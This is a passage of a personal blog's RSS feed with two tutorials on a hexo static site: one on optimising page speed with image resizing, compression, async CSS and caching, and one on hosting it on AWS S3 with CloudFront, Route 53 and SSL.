            <link>https://dizzy.zone/2018/01/04/Speeding-hexo-or-any-page-for-PageSpeed-insights/</link>
            <pubDate>Thu, 04 Jan 2018 23:20:08 +0000</pubDate>
            
            <guid>https://dizzy.zone/2018/01/04/Speeding-hexo-or-any-page-for-PageSpeed-insights/</guid>
            <description><![CDATA[ <h2 id="an-explanation">An explanation</h2>
<p>As mentioned in my <a href="https://dizzy.zone/2017/11/30/Starting-a-blog-with-hexo-and-AWS-S3/">previous post</a>, I really wanted to optimize my hexo blog for speed. I&rsquo;ve started a new project and decided hexo would be a good fit for it. Since I&rsquo;ve grown used to hexo, it will make development faster. Albeit it&rsquo;s not a blog I&rsquo;m working on, but a webpage for a local blacksmith. That will involve quite a few images and just a few text entries/pages. Being able to deploy to S3 is also a benefit - no need to manage anything - and since the webpage is going to be pretty static I&rsquo;m thinking hexo is a good way to go. The problem though, is that most of the themes that hexo has are quite slow out of the box. For this walkthrough, I&rsquo;ll be doing a demo repo with a standard <code>hexo init</code> followed by a clone of the theme <a href="https://github.com/sharvaridesai/hexo-theme-edinburgh">edinburgh</a>. I have a <a href="https://github.com/vkuznecovas/hexo-demo-pagespeed">repo</a> setup with all the steps tagged, so you should be able to see the exact changes I&rsquo;m making. I&rsquo;ll include step links just after the heading for each section if you&rsquo;re interested in following along. Let&rsquo;s get going then.</p>]]></description>
            <content:encoded><![CDATA[ <h2 id="an-explanation">An explanation</h2>
<p>As mentioned in my <a href="https://dizzy.zone/2017/11/30/Starting-a-blog-with-hexo-and-AWS-S3/">previous post</a>, I really wanted to optimize my hexo blog for speed. I&rsquo;ve started a new project and decided hexo would be a good fit for it. Since I&rsquo;ve grown used to hexo, it will make development faster. Albeit it&rsquo;s not a blog I&rsquo;m working on, but a webpage for a local blacksmith. That will involve quite a few images and just a few text entries/pages. Being able to deploy to S3 is also a benefit - no need to manage anything - and since the webpage is going to be pretty static I&rsquo;m thinking hexo is a good way to go. The problem though, is that most of the themes that hexo has are quite slow out of the box. For this walkthrough, I&rsquo;ll be doing a demo repo with a standard <code>hexo init</code> followed by a clone of the theme <a href="https://github.com/sharvaridesai/hexo-theme-edinburgh">edinburgh</a>. I have a <a href="https://github.com/vkuznecovas/hexo-demo-pagespeed">repo</a> setup with all the steps tagged, so you should be able to see the exact changes I&rsquo;m making. I&rsquo;ll include step links just after the heading for each section if you&rsquo;re interested in following along. Let&rsquo;s get going then.</p>
<h2 id="prologue">Prologue</h2>
<p><a href="https://github.com/vkuznecovas/hexo-demo-pagespeed/releases/tag/Start">Current step repo</a></p>
<p>I&rsquo;ve created a new hexo project, did a couple minor template adjustments and hexo config changes and added 3 test posts to the blog. With that, I should be golden to test the blog out with <a href="https://developers.google.com/speed/pagespeed/insights/">PageSpeed Insights</a>. Here&rsquo;s the sad reality:</p>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2018/01/04/Speeding-hexo-or-any-page-for-PageSpeed-insights/start-mobile-pagespeed.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2018/01/04/Speeding-hexo-or-any-page-for-PageSpeed-insights/start-mobile-pagespeed_hu_717d9c7f8151e641.png 500w,
  /2018/01/04/Speeding-hexo-or-any-page-for-PageSpeed-insights/start-mobile-pagespeed_hu_d8b7f936c4605201.png 800w,
  /2018/01/04/Speeding-hexo-or-any-page-for-PageSpeed-insights/start-mobile-pagespeed_hu_4f4b675294969725.png 1200w,
  /2018/01/04/Speeding-hexo-or-any-page-for-PageSpeed-insights/start-mobile-pagespeed_hu_67d4dc7457685cc2.png 1500w'
  src="https://dizzy.zone/2018/01/04/Speeding-hexo-or-any-page-for-PageSpeed-insights/start-mobile-pagespeed_hu_4f4b675294969725.png" 
  alt="Large images make for poor loading speed.">
</a>
</div>
<p>The desktop version refused to even be analyzed.</p>
<blockquote>
<p>Take note that all the page speed analysis was done on the index page, the individual pages are not being analyzed here.</p></blockquote>
<p>To be completely honest, it is the first time I&rsquo;ve seen such bad results in <a href="https://developers.google.com/speed/pagespeed/insights/">PageSpeed Insights</a> and for a good reason. The posts I&rsquo;ve added contain images that are huge: 3000x2000, 5100x3088, 6000x4000 and 4476x2984 pixels. At the largest, the image I&rsquo;ll ever serve is shown inside the blog post and if I open that I can see that at a resolution of 1920 x 1080 the images will top out width-wise at 1854 pixels. That is the reasonable maximum I&rsquo;d go with. Any pixel above that is a wasted pixel. I know that this page won&rsquo;t need the images to be as big as they are now or even reach the 1854px mark. I&rsquo;ll usually be displaying images way smaller than that. Besides, the images are not optimized in any way shape of form, let&rsquo;s fix it.</p>
<h2 id="image-optimization">Image optimization</h2>
<p><a href="https://github.com/vkuznecovas/hexo-demo-pagespeed/releases/tag/ImageOptimization">Current step repo</a></p>
<p>Now this took me on a bit of an adventure. I do some digging through hexo plugins but find nothing that would suit my needs(if you know of one, please let me know). Time to code a plugin for hexo I suppose. Now, I&rsquo;m no expert in image manipulations so I do some research on how to do it and come across <a href="https://www.imagemagick.org/script/index.php">imagemagick</a>. I dig through the internet and find this <a href="https://www.smashingmagazine.com/2015/06/efficient-image-resizing-with-imagemagick/">article</a> on image manipulation via imagemagick. I&rsquo;ll go with this, for now. Since I&rsquo;ve never coded a hexo plugin and haven&rsquo;t coded proper node for at least half a year I look through the source code of some of the libraries I mentioned before. It seems that hexo is easily extendable so I decide on making a plugin that will go through the public directory after hexo generates the files, pick out all the .png/.jpg/.jpeg files and apply imagemagick&rsquo;s convert function on top of that with given params which you&rsquo;d specify in the <code>_config.yml</code>. I was rather new to all this, so it probably took longer than expected but I made a plugin and named it rather stupidly <a href="https://www.npmjs.com/package/hexo-img-optimization">hexo-img-optimization</a>(I already regret that but naming is hard). It adds a command to hexo, <code>hexo img</code>, that will read your <code>_config.yml</code>, look for <code>img_optimization</code> there and act according to its settings. If not found, it will default to going through png/jpg/jpeg files and resize them to what I consider a good amount of pixels for a landscape image in a 1080p screen while lowering the quality a bit. The drop in quality is barely noticeable. You can play around with the imagemagick params to figure out a configuration that would work on your hexo blog. If, however, you&rsquo;re not using hexo there are plenty of alternatives that can optimize your images for you, such as <a href="https://compressor.io/">compressor.io</a> or <a href="https://kraken.io/">kraken.io</a>. For my purposes, overriding the defaults for <a href="https://www.npmjs.com/package/hexo-img-optimization">hexo-img-optimization</a> with <code> -resize 900x800^&gt; -sampling-factor 4:2:0 -strip -quality 85 -interlace JPEG -colorspace RGB</code> seems to do the trick and cross all of my boxes. With this, the <a href="https://developers.google.com/speed/pagespeed/insights/">PageSpeed Insights</a> score looks as follows:</p>
<table>
  <thead>
      <tr>
          <th style="text-align: center"></th>
          <th style="text-align: center">Score</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: center">Mobile</td>
          <td style="text-align: center">69</td>
      </tr>
      <tr>
          <td style="text-align: center">Desktop</td>
          <td style="text-align: center">55</td>
      </tr>
  </tbody>
</table>
<p>That&rsquo;s a much better score.</p>
<h2 id="minification">Minification</h2>
<p><a href="https://github.com/vkuznecovas/hexo-demo-pagespeed/releases/tag/Minification">Current step repo</a></p>
<p>Time to search for plugins again. I find this <a href="https://www.npmjs.com/package/hexo-all-minifier">hexo-all-minifier</a>. It seems to tick all the checkboxes. Minifies css/html/js and even images(albeit it only optimizes them, without resizing). Nice. The minifier runs once we run <code>hexo generate</code>. I regenerate the files and deploy them to s3. Once done I rerun the <a href="https://developers.google.com/speed/pagespeed/insights/">page speed insights</a>.
What this does is actually remove the <code>Minify CSS</code>, <code>Minify HTML</code> and <code>Minify JavaScript</code> optimizations from the possible list in <a href="https://developers.google.com/speed/pagespeed/insights/">page speed insights</a> but the page score does not improve:</p>
<table>
  <thead>
      <tr>
          <th style="text-align: center"></th>
          <th style="text-align: center">Score</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: center">Mobile</td>
          <td style="text-align: center">69</td>
      </tr>
      <tr>
          <td style="text-align: center">Desktop</td>
          <td style="text-align: center">55</td>
      </tr>
  </tbody>
</table>
<p>That&rsquo;s due to the fact that most of our css and js is external, hence the files we minified only comprise a small part of our total payload on page load. For themes that are more heavy on their own css and js the change will be noticeable.</p>
<h2 id="compression">Compression</h2>
<p><a href="https://github.com/vkuznecovas/hexo-demo-pagespeed/releases/tag/Compression">Current step repo</a></p>
<p>Time to tick the compression checkmark.
<a href="https://www.npmjs.com/package/hexo-command-gzip">hexo-command-gzip</a> is a plugin that gzips everything in the public folder, which is what I&rsquo;m going for. The problem here is that I&rsquo;ve hosted this page on AWS S3. When I upload the gzipped files to AWS S3 and open the page - my browser does not know that the contents are gzipped. To fix it, I need to attach a gzip header to all the files I upload to s3. <a href="https://www.npmjs.com/package/hexo-deployer-s3">hexo-deployer-s3</a> provides functionality to add headers to uploaded files. I do not like it though, since it applies the same header to all the filetypes. I have since forked the repo and made the changes to allow for different headers for different filetypes. It already comes with the repo I&rsquo;ve added in this walkthrough, but here&rsquo;s a <a href="https://github.com/vkuznecovas/hexo-deployer-s3">link</a> if you need it. We&rsquo;ll not use the different filetype functionality for now, but it will come in handy later. After adding the required config part(<a href="https://dizzy.zone/">it&rsquo;s here</a>) I deploy and test again:</p>
<table>
  <thead>
      <tr>
          <th style="text-align: center"></th>
          <th style="text-align: center">Score</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: center">Mobile</td>
          <td style="text-align: center">70</td>
      </tr>
      <tr>
          <td style="text-align: center">Desktop</td>
          <td style="text-align: center">55</td>
      </tr>
  </tbody>
</table>
<p>Once again, due to small number of internal css and js the change is barely noticeable.</p>
<h2 id="thumbnails">Thumbnails</h2>
<p><a href="https://github.com/vkuznecovas/hexo-demo-pagespeed/releases/tag/Thumbnails">Current step repo</a></p>
<p>The page is heavy on the image side, therefore most of the gains will be made here. Since we&rsquo;re displaying quite a few different image sizes depending on the page you&rsquo;re on or the device screen size, it&rsquo;s best to generate thumbnails and use them. I have since added support for thumbnails to <a href="https://www.npmjs.com/package/hexo-img-optimization">hexo-img-optimization</a>. This will require few changes to the template and a config change, but with those in place I expect the page speed to be much much better. After deploying, these are the results:</p>
<table>
  <thead>
      <tr>
          <th style="text-align: center"></th>
          <th style="text-align: center">Score</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: center">Mobile</td>
          <td style="text-align: center">70</td>
      </tr>
      <tr>
          <td style="text-align: center">Desktop</td>
          <td style="text-align: center">87</td>
      </tr>
  </tbody>
</table>
<p>Now that&rsquo;s a score I could live with. But I won&rsquo;t. The issues left are caching, and render-blocking css.</p>
<h2 id="render-blocking-css">Render blocking css</h2>
<p><a href="https://github.com/vkuznecovas/hexo-demo-pagespeed/releases/tag/RenderBlock">Current step repo</a></p>
<p>This is where it gets subjective. The render blocking css means that while loading the page, the browser encounters a css include that it needs to download before downloading the rest of the document. It causes a temporary halt for the loading process. There are ways to fix it, but they have their drawbacks. If you load a page first and only load css after that is complete, the user will experience a brief moment where the website will &ldquo;jump&rdquo; to apply the css. It might not look nice. Another way of doing things, is loading the css asynchronously and applying it as soon as it has downloaded. We&rsquo;ll take this approach. The user might still experience the jump, but it should not be a as bad as the first case, since the page might only be half loaded by the time we get our css to load. To load css asynchronously it&rsquo;s enough to change the css from</p>
<pre tabindex="0"><code>&lt;link rel=&#34;stylesheet&#34; href=&#34;https://dizzy.zone/css/styles.css&#34;&gt;
</code></pre><p>to</p>
<pre tabindex="0"><code>&lt;link rel=&#34;stylesheet&#34; href=&#34;https://dizzy.zone/css/styles.css&#34; as=&#34;style&#34; onload=&#34;this.onload=null,this.rel=&amp;quot;stylesheet&amp;quot;&#34;&gt;
</code></pre><p>This will load the css asynchronously and apply it once done downloading. I&rsquo;ve applied it to all the external css that I had in <code>&lt;head&gt;</code> for the theme. Do note that you might not want to apply this to all of your css, since it might result in a bad experience for a user. In general, you would probably inline critical parts of your css and asynchronously load the rest of it. With these applied, the scores are now:</p>
<table>
  <thead>
      <tr>
          <th style="text-align: center"></th>
          <th style="text-align: center">Score</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: center">Mobile</td>
          <td style="text-align: center">88</td>
      </tr>
      <tr>
          <td style="text-align: center">Desktop</td>
          <td style="text-align: center">95</td>
      </tr>
  </tbody>
</table>
<h2 id="caching">Caching</h2>
<p><a href="https://github.com/vkuznecovas/hexo-demo-pagespeed/releases/tag/Caching">Current step repo</a></p>
<p>With S3, to enable browser caching of resources I need to add headers to each file I&rsquo;m uploading. I&rsquo;ve done the same for gzip, so this is pretty easy to do. There&rsquo;s a catch though. Usually you&rsquo;ll want to apply different caching strategies to different files, and the fork I&rsquo;ve made from <a href="https://github.com/vkuznecovas/hexo-deployer-s3">hexo-deployer-s3</a> allows for header application by file type. Here&rsquo;s the config I use:</p>
<pre tabindex="0"><code>deploy:
  type: s3
  region: eu-west-1
  bucket: hexo-demo-pagespeed
  headers:
    all:
      ContentEncoding: gzip
    type_specific:
      - types:
          - jpg
          - png
          - jpeg
          - gif
          - css
          - js
          - otf
          - eot
          - svg
          - ttf
          - woff
        values:
          CacheControl: max-age=604800
</code></pre><p>Make sure to adjust it to your preferences.</p>
<p>With this, all I need to do is redeploy and see the results:</p>
<table>
  <thead>
      <tr>
          <th style="text-align: center"></th>
          <th style="text-align: center">Score</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td style="text-align: center">Mobile</td>
          <td style="text-align: center">91</td>
      </tr>
      <tr>
          <td style="text-align: center">Desktop</td>
          <td style="text-align: center">97</td>
      </tr>
  </tbody>
</table>
<p>Now that is good enough for me! This concludes this walkthrough of speeding up the page. <a href="https://github.com/vkuznecovas/hexo-demo-pagespeed">Here&rsquo;s the repo</a>.</p>
<blockquote>
<p>Perhaps I&rsquo;ve missed some possible optimizations? Maybe I got it completely wrong? Let me know in the comments!</p></blockquote>
]]></content:encoded>
        </item>
        <item>
            <title>Starting a blog with hexo and AWS S3</title>
            <link>https://dizzy.zone/2017/11/30/Starting-a-blog-with-hexo-and-AWS-S3/</link>
            <pubDate>Thu, 30 Nov 2017 22:17:49 +0000</pubDate>
            
            <guid>https://dizzy.zone/2017/11/30/Starting-a-blog-with-hexo-and-AWS-S3/</guid>
            <description><![CDATA[ <p>So me and my girlfriend have been playing with the idea of starting a blog for quite some time now. Having a day off I&rsquo;ve decided to put it to good use and start creating one. Being a developer I&rsquo;ve had a few concerns when it came to choosing a blog framework:</p>
<ul>
<li>I&rsquo;m a control freak so I&rsquo;d prefer hosting it myself. Blogging platforms are out of the question.</li>
<li>I like markdown - the blog must support it.</li>
<li>It must be lightweight.</li>
<li>It must be easily deployable to s3 static website hosting.</li>
<li>I should not need to use anything else than s3 for hosting. Just a text editor and a CLI for a good blogging experience.</li>
</ul>
<p>After a bit of research and a tip from a friend I&rsquo;ve landed on <a href="https://hexo.io/">Hexo.io</a>. It seems to tick all of my boxes. Plugin support seems to be excellent as well. Being based on node it means I&rsquo;ll mostly be able to find anything my heart might desire. If not - I can code it myself.</p>]]></description>
            <content:encoded><![CDATA[ <p>So me and my girlfriend have been playing with the idea of starting a blog for quite some time now. Having a day off I&rsquo;ve decided to put it to good use and start creating one. Being a developer I&rsquo;ve had a few concerns when it came to choosing a blog framework:</p>
<ul>
<li>I&rsquo;m a control freak so I&rsquo;d prefer hosting it myself. Blogging platforms are out of the question.</li>
<li>I like markdown - the blog must support it.</li>
<li>It must be lightweight.</li>
<li>It must be easily deployable to s3 static website hosting.</li>
<li>I should not need to use anything else than s3 for hosting. Just a text editor and a CLI for a good blogging experience.</li>
</ul>
<p>After a bit of research and a tip from a friend I&rsquo;ve landed on <a href="https://hexo.io/">Hexo.io</a>. It seems to tick all of my boxes. Plugin support seems to be excellent as well. Being based on node it means I&rsquo;ll mostly be able to find anything my heart might desire. If not - I can code it myself.</p>
<h2 id="lets-get-to-work">Let&rsquo;s get to work!</h2>
<blockquote>
<p>A quick disclaimer - you&rsquo;ll need an AWS account if you want to follow along and (maybe?) some coding knowledge.</p></blockquote>
<h4 id="installing-hexo">Installing hexo</h4>
<p>First things first - installing hexo. Well - that&rsquo;s as easy as following the few first steps on their <a href="https://hexo.io/docs/">docs</a>. After running <code>npm install -g hexo-cli &amp;&amp; hexo init blog</code> I check it out with <code>hexo generate &amp;&amp; hexo server</code>. Looks pretty good, but it only contains the hello world post and I want something with images on it to see what those would look like.</p>
<h4 id="creating-a-post">Creating a post</h4>
<p>Let&rsquo;s create one then, shall we? <code>hexo new post test</code> creates a new <code>test.md</code> file under <code>source/_posts/</code>. I fill it up with some random words and add an image. Do note that assets are added as follows:</p>
<pre tabindex="0"><code>{% asset_img test_image.jpg Alt text. %}
</code></pre><p>Upon completing this step and verifying it works on localhost I immediately realize that I don&rsquo;t like the file structure hexo uses by default. If all the post assets are going to be added to the <code>source/_posts/</code> it&rsquo;s going to become a mess quite rapidly. A quick google reveals that changing a flag in <code>_config.yml</code> makes hexo create a sub-directory under <code>source/_posts/</code> for each new post. A simple switch of the <code>post_asset_folder</code> flag in <code>_config.yml</code> makes me a happy panda. I recreate the post with the image now lying snuggly in the post&rsquo;s asset folder.</p>
<h4 id="buckets">Buckets</h4>
<p>Then I switch my attention to getting the blog hosted on <a href="http://docs.aws.amazon.com/AmazonS3/latest/dev/WebsiteHosting.html">AWS S3 Static website hosting</a> ASAP. Why S3? Mostly because I&rsquo;m used to AWS and they have good <a href="http://docs.aws.amazon.com/AmazonS3/latest/dev/HostingWebsiteOnS3Setup.html">documentation</a> on how to host a static website there. When creating the bucket all that&rsquo;s needed is to set the name, I&rsquo;ll change the settings later. The configuration itself is not hard. I need to set the static website hosting to enabled under the properties tab. On the permissions tab, open up bucket policy and paste this into it:</p>
<p><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2008-10-17&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&#34;Statement&#34;</span>: [
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Sid&#34;</span>: <span style="color:#e6db74">&#34;AllowPublicRead&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Principal&#34;</span>: {
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">&#34;AWS&#34;</span>: <span style="color:#e6db74">&#34;*&#34;</span>
</span></span><span style="display:flex;"><span>            },
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;s3:GetObject&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">&#34;Resource&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:s3:::exampleBucket/*&#34;</span>
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    ]
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
Be sure to change the exampleBucket to your bucket name if you are following along. This policy allows for public access to my bucket and I want that. With this, it&rsquo;s time to deploy my blog.</p>
<h4 id="deploying-to-s3">Deploying to S3</h4>
<p>The problem with hexo though is that it does not come with S3 deploy support out of the box. Time to see how good the plugin library is. A google search reveals a candidate:</p>
<ul>
<li><a href="https://www.npmjs.com/package/hexo-deployer-aws-s3">hexo-deployer-aws-s3</a></li>
</ul>
<p>A quick <code>npm i -S hexo-deployer-aws-s3</code> installs the dependency. While that&rsquo;s running time to get my keys from AWS. I&rsquo;ll need those to be able to upload to S3. AWS is kind enough to provide us <a href="https://aws.amazon.com/blogs/security/wheres-my-secret-access-key/">documentation on how to do that</a>. Once I have the keys downloaded I export them in my terminal as env variables:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>export AWS_SECRET_ACCESS_KEY<span style="color:#f92672">=</span>yourkeyhere
</span></span><span style="display:flex;"><span>export AWS_ACCESS_KEY_ID<span style="color:#f92672">=</span>youridhere</span></span></code></pre></div>
<p>All that&rsquo;s left to do is append a section to our <code>_config.yml</code> by adding these 3 lines:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">deploy</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">type</span>: <span style="color:#ae81ff">aws-s3</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">region</span>: <span style="color:#ae81ff">yourregion</span> <span style="color:#75715e"># eu-west-1 &lt; this is mine</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">bucket</span>: <span style="color:#ae81ff">yourbucketname</span></span></span></code></pre></div>
And bam - we&rsquo;re ready to deploy. I first run <code>hexo generate</code> to generate the static content. To deploy it to s3 - <code>hexo deploy</code>. With the content deployed, I check if everything works by accessing the url <code>http://yourbucketname.s3-website-yourregion.amazonaws.com/</code>. Everything works like charm but it&rsquo;s not time to blog yet.</p>
<h4 id="cloudfront">Cloudfront</h4>
<p>What is great about AWS is that it allows seamless use of many of its tools. Since we have a bucket sitting in a specific region, we might encounter slow load times if our bucket is hosted in asia and the client is opening the website from europe. To avoid that, I leverage the <a href="https://aws.amazon.com/cloudfront/">AWS CloudFront CDN</a>. It will distribute the blog to edge nodes in other regions resulting in faster load times for those who will access the blog from a different region. It also comes with many great features out of the box such as caching, http -&gt; https redirects, compression and more. I create a web distribution for cloudfront, select my bucket as the origin domain name and basically leave all the other settings as default for now. I&rsquo;ll play with them a bit later. Once the distribution is created, it will take 10-30 minutes to get deployed to edge locations, you&rsquo;ll see the status change to Deployed once that is complete. The distribution will come with an ugly domain name, one that cloudfront provides. To find it, open your CloudFront distribution and it will be there under <code>Domain Name</code>. Once the distribution is deployed, open the url and check that everything is working. I need to fix the domain name now though.</p>
<h4 id="dns">DNS</h4>
<p>Luckily, AWS has tools for everything. <a href="https://aws.amazon.com/route53/">Amazon Route 53</a> is their cloud DNS service. I did not have a domain name registered yet, so I could register one with AWS. It will make things easier. In case you do own a domain but have it registered somewhere else, it might be a good idea to transfer it to Route 53. To do that, follow <a href="http://docs.aws.amazon.com/Route53/latest/DeveloperGuide/domain-transfer-to-route-53.html">the instructions provided by Amazon</a>. Once the domain gets verified(and there might be a couple of steps required to do that if you transfer it from another registrar), it&rsquo;s time to point it to our cloudfront distribution. To do it, open up the cloudfront distribution first and then edit the configuration. What needs changing is the alternate domain names. Fill all the domain names you want your blog to be accessible through. The dizzy.zone set up contains the following entries:</p>
<pre tabindex="0"><code>dizzy.zone
www.dizzy.zone
</code></pre><p>Save the distribution and head to Route 53. Once there, what needs to be done is a couple of dns entries added. Time to create a new record set. The type selected should be IPv4, the Alias set to Yes. Clicking the alias target will show a drop down and there I click the cloudfront distribution. Once created, the record set takes some time to propagate, so you might not be able to see the changes at first, but give it some time and it will work. I can now access my blog through <a href="http://dizzy.zone/">http://dizzy.zone/</a>. Nice.</p>
<h4 id="ssl">SSL</h4>
<p>In 2017 there is no excuse for not having ssl on your website. It boosts SEO ratings and makes your website look much more professional. It is super easy to do with <a href="https://aws.amazon.com/certificate-manager/">AWS certificate manager</a>. I go to my cloudfront distribution and edit it again. There I switch to <code>Custom SSL Certificate</code> and click <code>Request or Import a Certificate with ACM</code>(please note that certificates should always go under us-east-1 region). I add the following domains:</p>
<pre tabindex="0"><code>*.dizzy.zone
dizzy.zone
</code></pre><p>Since my domain is hosted under Route 53 I select the DNS validation. The ACM makes it easy to validate the domain via a button on the validation screen. It takes a couple of minutes, but once the certificate is issued I can apply it onto my cloudfront distribution. After that is complete, this blog now becomes accessible through <a href="https://dizzy.zone">https://dizzy.zone</a>. To ensure that users use the https instead of http, under the configuration for cloud front distribution I create a behaviour by changing the <code>Viewer Protocol Policy</code> to <code>Redirect HTTP to HTTPS</code>. This now ensures that you get redirected to https if you open up the website through http.</p>
<h3 id="conclusion">Conclusion</h3>
<p>Hexo seems to be a perfect choice for a simplistic blog for the techy types. Easy to get into and super easy to deploy, since all it does is bake static webpages. With AWS S3 it&rsquo;s trivial to deploy a static website, make it available in all regions and set up both a domain name and SSL. With this done, it&rsquo;s time to start blogging, right? Well.. I&rsquo;ll probably follow this up with my quest for <a href="https://developers.google.com/speed/pagespeed/insights/">PageSpeed Insights</a>. <strong>Edit:</strong> <a href="https://dizzy.zone/2018/01/04/Speeding-hexo-for-PageSpeed-insights/">The post on page speed optimization is now live</a>.</p>
]]></content:encoded>
        </item> 
             
            
  </channel>
</rss>